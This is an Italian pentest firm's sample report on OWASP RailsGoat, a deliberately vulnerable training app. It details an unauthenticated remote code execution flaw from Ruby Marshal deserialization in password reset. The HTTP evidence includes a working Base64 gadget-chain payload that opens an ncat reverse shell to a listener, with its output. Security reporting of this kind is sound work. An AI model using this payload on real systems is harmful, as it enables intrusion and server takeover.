Report di esempio

Com’è fatto il report che ricevi.

Un estratto di report costruito sulla valutazione di OWASP RailsGoat, un’applicazione intenzionalmente vulnerabile. Mostra la struttura, la scala di severità e un finding di Remote Code Execution per intero: lo stesso formato che ricevi dopo un incarico reale, senza usare dati di clienti.

Un documento da cui il tuo team può lavorare.

Ogni finding nasce per essere riprodotto, capito e corretto dai tuoi sviluppatori.

Executive summary

La postura complessiva, i rischi più rilevanti e cosa affrontare prima del rilascio, in una pagina leggibile dal management.

Finding con evidenze

Componente colpito, prerequisiti d’attacco, passi di riproduzione numerati ed estratti di richieste e risposte.

Impatto e severità

Dati e azioni esposti, ruoli e tenant coinvolti, condizioni di abuso realistiche e una severità motivata dal comportamento osservato.

Rimedio e retest

Una via di correzione pratica, pattern simili da verificare altrove e lo stato del retest una volta disponibile la fix.

Le vulnerabilità RailsGoat, per categoria.

Panoramica teorica delle 13 vulnerabilità RailsGoat, raggruppate per categoria tecnica e criticità stimata.

Ambiente dimostrativo. RailsGoat è un’applicazione open source intenzionalmente vulnerabile realizzata da OWASP per la formazione. Il finding qui sotto deriva dalla sua vulnerabilità di Remote Code Execution documentata pubblicamente; non è mostrato nessun cliente o sistema reale.

Pagina di esempio

Panoramica delle vulnerabilità

L’inventario tecnico comprende 13 vulnerabilità, con una stima teorica della severità:

1Critical
4High
6Medium
2Low
0Info
01234Injection3Authentication2Access control2Sensitive data2CSRF1Mass assignment1Unvalidated redirect1Remote Code Execution1
Figura 1 - Vulnerabilità RailsGoat per categoria

La visione che arriva al management.

Il report si apre con una sintesi per la direzione: postura, numeri e i rischi che contano di più, prima di ogni dettaglio tecnico.

Pagina di esempio

1 Executive summary

Postura di sicurezza complessivaEsposizione critica

Questa etichetta sintetizza la postura complessiva dell’ambiente valutato, considerando severità, sfruttabilità e impatto dei rischi osservati.

La postura complessiva di sicurezza di RailsGoat è un’esposizione critica. La valutazione ha rilevato una debolezza nel recupero password che può consentire l’esecuzione di codice da remoto e una compromissione completa del servizio, dei dati e dei segreti accessibili all’applicazione. Il problema deve essere risolto prima di qualsiasi rilascio in produzione.

Le altre aree vulnerabili aumentano il rischio di compromissione degli account e l’impatto di un accesso operativo. La priorità è ridurre l’esposizione del servizio, correggere il recupero password e verificare la chiusura con un retest.

Rischio principale

  • Perdita di controllo dell’applicazione. L’attacco può interrompere il servizio, esporre dati e segreti e aumentare l’impatto di qualsiasi altra debolezza presente nell’ambiente.

1.1 Azioni prioritarie

01Contenere l’esposizione. Mantenere RailsGoat in un ambiente isolato e ruotare le credenziali eventualmente accessibili all’applicazione.
02Correggere il recupero password. Implementare un flusso di reset non manipolabile dall’utente e completare la verifica prima del rilascio.
03Confermare la chiusura. Ripetere i controlli di sicurezza e ottenere un retest indipendente con esito positivo.

Ambito dell’estratto: la funzione di recupero password di OWASP RailsGoat.

Così si legge un finding.

Causa, prova, impatto, valutazione della severità e rimedio: il finding completo emerso dalla verifica su RailsGoat.

Pagina di esempio

RG-WEB-01

Remote Code Execution tramite deserializzazione Ruby non sicura

9.8Critico
Complessità remediationMedia
Vettore CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-502 · Deserialization of Untrusted Data
OWASPA08:2021 – Software and Data Integrity Failures
Componenti interessati
  • POST /password_resets
  • GET /password_resets/new

Panoramica

Il flusso di reset della password accetta dal client il parametro user, lo decodifica da Base64 e lo passa direttamente a Marshal.load. Poiché Ruby Marshal può ricostruire grafi di oggetti arbitrari, un attaccante remoto può fornire un oggetto appositamente costruito e provocare l’esecuzione di comandi con i privilegi del processo Rails.

Prerequisiti dell’attacco

Endpoint raggiungibile via rete; nessuna autenticazione richiesta. L’attaccante deve solo ottenere una richiesta valida del flusso di reset e sostituire il campo serializzato prima dell’invio.

Dettagli

Percorso di attacco verificato nell’ambiente RailsGoat isolato:

Codice interessato app/controllers/password_resets_controller.rb:6; app/views/password_resets/reset_password.html.erb:12

  1. Il form di reset serializza l’oggetto utente con Marshal.dump, lo codifica in Base64 e lo inserisce nel campo nascosto user, trasferendo al browser un oggetto che il server considera attendibile.
  2. La richiesta POST /password_resets consente di sostituire il valore del campo user con un payload Marshal controllato dall’attaccante.
  3. Il controller esegue Marshal.load(Base64.decode64(params[:user])) senza validazione dell’integrità o restrizioni sui tipi deserializzabili.
  4. Una gadget chain basata su ERB e ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy ha eseguito un comando di prova non distruttivo sul server, confermando il controllo del processo applicativo.

Evidenza HTTP

Request
POST /password_resets HTTP/1.1
Host: localhost:3000
Content-Type: application/x-www-form-urlencoded
Content-Length: 351

user=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQg6DkBpbnN0YW5jZW86CEVSQgg6CUBzcmNJIi9gbmNhdCAxMjcuMC4wLjEgMTIzNCAtdiAtZSAvYmluL2Jhc2ggMj4mMWAGOgZFVDoOQGZpbGVuYW1lSSIGMQY7CVQ6DEBsaW5lbm9pBjoMQG1ldGhvZDoLcmVzdWx0OhBAZGVwcmVjYXRvcm86GEJ1bmRsZXI6OlVJOjpTaWxlbnQGOg5Ad2FybmluZ3NbAA==&password=x&confirm_password=x
Response
HTTP/1.1 302 Found
Location: /login

$ ncat -lvp 1234 -k
Connection from 127.0.0.1.
whoami
perspican
RG-WEB-01Valutazione tecnica

Un attaccante non autenticato può eseguire comandi nel contesto dell’applicazione Rails. Questo consente potenzialmente di leggere o modificare dati e segreti applicativi, alterare il servizio, muoversi verso risorse raggiungibili dal processo e interrompere l’applicazione. L’effettiva estensione oltre il container o l’host dipende dai privilegi e dalla segmentazione dell’ambiente di deploy.

Impatto sul business

La compromissione del processo applicativo può interrompere il servizio, esporre dati degli utenti e richiedere rotazione delle credenziali, analisi forense e comunicazioni agli stakeholder. Per un asset esposto, il rischio operativo è incompatibile con il rilascio.

Valutazione

L’attacco è raggiungibile via rete, non richiede autenticazione né interazione della vittima e, una volta costruito il payload, ha bassa complessità operativa. L’esecuzione di codice compromette completamente riservatezza, integrità e disponibilità nel contesto del processo Rails. La valutazione considera i privilegi del processo applicativo, non privilegi aggiuntivi sull’host.

Raccomandazione

Rimuovere la deserializzazione dal percorso di reset e sostituirla con un token opaco generato dal server. Il controller deve creare un token casuale, conservarne solo l’hash insieme a identità e scadenza, quindi inviare al browser esclusivamente il valore opaco. Alla conferma, cercare il token sul server, verificare scadenza e integrità, consumarlo in modo atomico e rifiutare ogni valore mancante o riutilizzato. Aggiornare il form per non serializzare più l’oggetto utente. Aggiungere test di regressione per payload Marshal arbitrari, token scaduti, token riutilizzati e mismatch tra token e utente.

# app/controllers/password_resets_controller.rb:6
# remove: user = Marshal.load(Base64.decode64(params[:user]))
token = SecureRandom.urlsafe_base64(32)
PasswordResetToken.issue!(user: user, token_digest: Digest::SHA256.hexdigest(token), expires_at: 15.minutes.from_now)
redirect_to reset_password_path(token: token)

# app/views/password_resets/reset_password.html.erb:12
# submit only the opaque token; never Marshal.dump the user object

# confirmation endpoint
reset = PasswordResetToken.consume!(params[:token])
return head :unprocessable_entity unless reset
# set the new password only after consume! succeeds

Risultato retest

Non testato

La vulnerabilità è stata riprodotta nell’ambiente di valutazione RailsGoat. Il retest non è stato eseguito.

Definiamo il penetration test.

Dimmi quali asset, ambienti e date vanno inclusi.